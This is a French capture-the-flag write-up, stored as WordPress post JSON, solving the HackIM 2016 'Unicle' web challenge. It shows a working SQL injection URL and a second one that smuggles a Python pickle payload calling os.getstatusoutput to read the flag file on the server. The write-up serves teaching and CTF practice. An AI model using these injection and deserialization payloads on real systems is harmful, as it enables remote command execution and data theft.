{"id":1752,"date":"2016-02-04T03:47:32","date_gmt":"2016-02-04T02:47:32","guid":{"rendered":"https:\/\/0x90r00t.com\/fr\/?p=1752"},"modified":"2016-02-04T16:06:58","modified_gmt":"2016-02-04T15:06:58","slug":"hackim-2016-web-200-unicle-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2016\/02\/04\/hackim-2016-web-200-unicle-write-up\/","title":{"rendered":"[HackIM 2016] [Web 200 &#8211; Unicle] Write Up"},"content":{"rendered":"<h2>Description<\/h2>\n<blockquote><p>OSaaS is the new trend for 2016! Store your object directly in the cloud. Get rid of the hassle of managing your own storage for object with Osaas. Unickle currently offers a beta version that demonstrates how OSaaS will make the internet a better place&#8230; One object at a time!!<\/p>\n<p><a href=\"http:\/\/54.84.124.93\/\">http:\/\/54.84.124.93\/<\/a><\/p><\/blockquote>\n<p><!--more--><\/p>\n<h2>Resolution<\/h2>\n<p>Sur le site web en beta mis \u00e0 disposition, nous avons un listing de donn\u00e9es sous forme de tableau.<\/p>\n<p>Dans ce tableau il y a plusieurs champs : id, nom, valeur, cat\u00e9gorie, seul le lien vers la cat\u00e9gorie \u00e9tait cliquable avec une forme assez int\u00e9ressante : http:\/\/54.84.124.93\/?cat=2.<\/p>\n<p>Peut-\u00eatre que l&rsquo;id de la cat\u00e9gorie serait la porte d&rsquo;entr\u00e9e ? En essayant une injection SQL de type : <\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">http:\/\/54.84.124.93\/?cat=0 UNION SELECT name,'','test',id FROM db_object<\/pre>\n<p>L&rsquo; injection fonctionne mais un champ \u00ab\u00a0valeur\u00a0\u00bb est rempli de mani\u00e8re \u00e9trange, comme des erreurs python \ud83d\ude42<\/p>\n<p>Tout de suite, nous pensons aux fameux pickles et au bout de quelques recherches et tentatives sur cette voie, la m\u00e9thode <code>os.getstatusoutput()<\/code> de python nous d\u00e9livre le pr\u00e9cieux en inejectant via l&rsquo;url :<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">http:\/\/54.84.124.93\/?cat=0%20UNION%20SELECT%201,2,%22ccommands%0Agetstatusoutput%0A%28S%27cat%20\/var\/www\/flag%27%0AtR.%22,4<\/pre>\n<p>Le flag est : <code>flag{OSaaS_with_union_and_tickle_trend_it_is!}<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Description OSaaS is the new trend for 2016! Store your object directly in the cloud. Get rid of the hassle of managing your own storage for object with Osaas. Unickle currently offers a beta version that demonstrates how OSaaS will make the internet a better place&#8230; One object at a time!! http:\/\/54.84.124.93\/<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[130,127],"tags":[38,129,131,91],"class_list":["post-1752","post","type-post","status-publish","format-standard","hentry","category-2016-fr","category-hackim-fr","tag-ctf-fr","tag-hackim-fr","tag-pickle","tag-sqli"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1752","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=1752"}],"version-history":[{"count":8,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1752\/revisions"}],"predecessor-version":[{"id":1761,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1752\/revisions\/1761"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=1752"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=1752"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=1752"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}